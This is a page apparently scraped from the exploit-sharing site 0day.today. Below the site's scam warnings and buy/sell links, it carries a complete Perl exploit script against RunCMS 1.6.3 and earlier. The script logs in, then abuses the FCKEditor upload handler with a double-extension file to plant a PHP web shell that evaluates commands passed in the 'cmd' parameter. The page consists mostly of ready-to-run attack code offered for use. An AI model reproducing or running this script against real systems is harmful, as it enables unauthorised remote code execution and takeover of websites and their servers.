0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
RunCMS <= 1.6.3 (double ext) Remote Shell Injection Exploit
=========================================================== RunCMS <= 1.6.3 (double ext) Remote Shell Injection Exploit =========================================================== #!/usr/bin/perl # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # RunCMS <= 1.6.3 "double ext" remote shell injection exploit # # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # # # # Note: you may upload files with double extension # # FCKEditor must be enabled for users # # # # # # by staker # # ------------------------------ # # url: http://www.runcms.org # # ------------------------------ # # Discovered on 15 June 2009 # # Happy Birthday Irene # # ----------------------------------------------------------- # use IO::Socket; use LWP::UserAgent; cronx_us(); my ($host,$path,$username) = @ARGV; my $password = $ARGV[3] || exit; my $filename = "snippet.jpg.pwl"; # change it this is just an example shell_up(); sub cronx_us() { print "[*------------------------------------------------------------*]\n". "[* RunCMS <= 1.6.3 (fckeditor) remote shell injection exploit *]\n". "[*------------------------------------------------------------*]\n". "[* Usage: perl web.pl [host] [path] [user] [pass] *]\n". "[* *]\n". "[* Options: *]\n". "[* [host] insert a valid host *]\n". "[* [path] insert a valid RunCMS path *]\n". "[* [user] your username *]\n". "[* [pass] your password *]\n". "[*------------------------------------------------------------*]\n"; } sub login() { my $LWP = new LWP::UserAgent; my $post = $LWP->post(http_url($host)."/$path/user.php", [ uname => $username, pass => $password, op => 'login', ]) || die $!; if ($post->as_string =~ /Set-Cookie: (.*)/i) { return $1; } } sub http_url() { my $string = shift @_ || die($!); if ($string !~ /^http:\/\/?/i) { return 'http://'.$string; } } sub shell_up() { my ($data,$packet,$result); my $cookie = login(); my $vector = chr(45) x27; my $socket = new IO::Socket::INET( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', ) or die $!; $data .= $vector."--uploading\r\n"; $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n"; $data .= "Content-Type: unknown/unknown\r\n\r\n"; $data .= "<?php error_reporting(E_ALL); if(isset(\$_GET['cmd'])){die(eval(stripslashes(\$_GET['cmd'])));} ?>\r\n"; $data .= $vector."--uploading--\r\n"; $packet .= "POST $path/class/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.0\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=".$vector."uploading\r\n"; $packet .= "Host: $host\r\n"; $packet .= "Cookie: $cookie\r\n"; $packet .= "User-Agent :Lynx (textmode)\r\n"; $packet .= "Content-Length: ".length($data)."\r\n"; $packet .= "Connection: Close\r\n\r\n"; $packet .= $data; $socket->send($packet); foreach $result (<$socket>) { if ($result =~ /file uploader is disabled/i) { die("No access for you..\n"); } else { print $result; } } } # 0day.today [2024-11-15] #